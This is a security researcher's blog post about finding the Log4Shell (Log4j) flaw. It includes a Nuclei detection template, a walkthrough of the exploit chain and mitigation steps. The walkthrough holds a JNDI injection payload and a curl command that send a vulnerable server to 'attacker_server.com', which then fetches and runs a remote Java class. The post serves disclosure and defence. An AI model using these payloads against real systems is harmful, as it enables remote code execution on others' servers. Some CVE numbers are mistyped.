How I built the PoC for the Log4j zero-day security vulnerability
Insights on first few hours of Log4Shell zero-day, creating and sharing PoC with the community.
TL/DR: A vulnerability in the open source Apache logging library Log4j had system administrators and security professionals scanning for it and finding remediations a priority. In the past couple of weeks the CVE-2021-4428 Apache log4j RCE (Log4shell) vulnerability has impacted hundreds of millions of devices with ​​major cloud providers such as AWS and Azure being vulnerable and it has just scratched the surface of affected companies and applications. I (Mohamed Elbadry, a security Researcher) outline how I built the PoC, how it works and why it matters.

Building the PoC

On Friday 10 Dec at about 2 am, I saw a Facebook Post about a zero-day vulnerability affecting log4j. When I decided to check this vulnerability, my eyes landed on this blog. It made me wonder, what are the chances of common headers such as “User-Agent” being logged with Log4j. To test my initial thoughts, I used ugly-duckling and Burp Collaborator to see that if I got a DNS request, that means that headers are logged by a vulnerable Log4j package.
After creating a module for ugly-duckling and used a Burp Collaborator server to detect DNS interaction using this payload ${jndi:ldap://xxx.burpcollaborator.net/a}, I ran the module against few bug bounty programs. That is when I stared at the screen with my body shaking, it started generating too many hits. I thought something went very wrong.
I reached out to my friend Sebastian Wieseler who is also a HackerOne ambassador, and asked him to confirm some of my findings, as I did not believe that this vulnerability would be that widespread. Sebastian confirmed my findings, so I disclosed these issues to the affected programs.

Unbounce Zero-Day

Sharing the PoC

That is why I had to share the PoC ASAP, and reported this to Detectify on 2021-12-10, 04:57 AM to help secure Detectify customer's assets. Then I decided to create a Nuclei template and share it with the community. On 2021-12-10, 2.24 PM I created a Pull request on nuclei-templates repository. The initial template was able to detect DNS interaction as PoC. Thanks to the great community the template changed a few times to be able to detect vulnerable hosts in a reliable way.

Initial Nuclei Template

1
id: CVE-2021-44228
2
3
info:
4
name: Remote code injection in Log4j
5
author: melbadry9
6
severity: critical
7
description: Log4j versions prior to 2.15.0 are subject to a remote code execution vulnerability via the ldap JNDI parser.
8
reference:
9
- https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
10
11
requests:
12
- raw:
13
- |
14
GET / HTTP/1.1
15
Host: {{Hostname}}
16
User-Agent: ${jndi:ldap://{{interactsh-url}}/a}
17
Referer: ${jndi:ldap://{{interactsh-url}}/a}
18
19
matchers:
20
- type: word
21
part: interactsh_protocol # Confirms the DNS Interaction
22
words:
23
- "dns"
24
Copied!

How an attacker could exploit this vulnerability

CVE-2021–44228 has been assigned the highest critical severity rating with a risk score of 10 out of 10. Tech players, including Amazon Web Services, Microsoft, Cisco, Google Cloud, and IBM have all found that at least some of their services were vulnerable and have been rushing to issue fixes and advise customers about how to best proceed. The UK's National Cyber Security Centre emphasized on Monday that enterprises need to “discover unknown instances of Log4j” in addition to patching the usual suspects. The exact extent of the exposure is still coming into view.
1
// import vulnerable log4j package
2
import org.apache.logging.log4j.LogManager;
3
import org.apache.logging.log4j.Logger;
4
5
import java.io.*;
6
import java.util.*;
7
8
public class LogUserInput implements HttpHandler {
9
10
// This is not a full example.
11
// HTTP endpoint that reads the request's user-id header then logs its value.
12
// @param ro HTTP Request Object
13
14
// initiate logger
15
static Logger log = LogManager.getLogger(LogUserInput.class.getName());
16
17
public void handle(HttpExchange ro) throws IOException {
18
19
// Reads user-id header
20
String UserID = ro.getRequestHeader("User-ID");
21
22
// Vulnerable line which leads to RCE by logging the user-controlled HTTP header.
23
// The malicious user can set User-ID to: ${jndi:ldap://attacker_server.com/c}
24
log.info("Requested from User with id :{}", UserID);
25
26
String response = "<h1>User ID: " + UserID + "!</h1>";
27
ro.sendResponseHeaders(200, response.length());
28
29
OutputStream os = ro.getResponseBody();
30
os.write(response.getBytes());
31
os.close();
32
}
33
}
Copied!
  1. 1.
    Data, which is under user control, is sent to the server in this case “User-ID” header. curl https://vulnerable-server.com –H "User-ID: \${jndi:ldap://attacker_server.com/c}"
  2. 2.
    Application logs header User-ID, containing the malicious payload ${jndi:ldap://attacker_server.com/c}
  3. 3.
    Log4Shell vulnerability gets triggered and the application server sends a request to attacker_server.com thanks to JNDI.
  4. 4.
    Attacker LDAP server response contains a path to Java class file http://stage2.attacker_server.com/PoC.class
Response format:
1
dn:
2
javaClassName: <class name>
3
javaCodeBase: <base URL>
4
objectClass: javaNamingReference
5
javaFactory: <file base>
Copied!
After downloading JavaCodeBase, Java class is loaded into memory and injected into the server process to be executed.

Risks that come with the Log4j vuln

The impact of CVE-2021-4428 (Log4Shell) is huge as Log4j is a very common logging library, which is used in almost every Java application. The vulnerability can be escalated to RCE, which means that malicious actors can execute commands on the affected server or application. The vulnerability seems to exist for a long time without being detected by security researchers until Nov 24 .
Developers tend to use logging frameworks to handle formatting messages and logging data. In this case, they used Log4j as a logging framework. The downside is that Log4j 2.0 included support for lookups, which included JNDI lookups and these lookups have not been handled properly from a security perspective, which caused this vulnerability.
The Java Naming and Directory Interface (JNDI) is a Java API for a directory service that interfaces with LDAP or DNS to look up resources. One of the data that is allowed is URI that redirects to a Java class, which means whatever code is in that class is executed.
This vulnerability (Log4Shell) is now every tech company's priority as it has been used by malicious actors to spread ransomware and crypto mining malwares.
Given how common cloud providers are affected by this vulnerability, constant detection of the vulnerability through automation is very crucial to get ahead of these malicious actors, to prevent any future breaches.

Vulnerable versions

· log4j v2​ (2.0-beta9 <= Apache log4j <= 2.15.0)
This vulnerability affects every application that uses the vulnerable version of Java log4j package “log4j-core”. Other languages are also affected, for instance Scala, Groovy as these languages use vulnerable logging packages such as log4j-api, log4j-core, log4j-slf4j-impl. V1 is also vulnerable to another RCE (CVE-2021-4104) but not CVE-2021-44228, as described here under mitigation for CVE-2021-44228.

Immediate mitigation methods

Java 8: Update Log4J to latest 2.17.0, which will disable JNDI by default and remove support for Message Lookups and fix DOS (Denial of Service) attack - CVE-2021-45105 Java 7: Upgrade to release 2.12.2

Other mitigation:

  • Remove the JndiLookup class from the classpath
1
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Copied!
  • Using hotpatch-for-apache-log4j2, which injects a Java agent into a running JVM process. The agent will attempt to patch the lookup() method of all loaded org.apache.logging.log4j.core.lookup.JndiLookup instances to unconditionally return the string "Patched JndiLookup::lookup()"

Just the tip of the iceberg

More companies will be affected and some companies will be compromised or breached. People will be discovering the long tail of new vulnerable software as they think of new places to inject payloads. The scariest part of the Log4Shell is how many organizations don’t even realize that they have systems at risk.
This vulnerability confirmed the info-sec community's concern about using vulnerable third-party dependencies, and the importance of scanning and monitoring services in alerting for new threats. That is when crowdsource based security companies’ role kick in, such as Detectify and the way it has handled this Zero-Day vulnerability.
Last modified 26d ago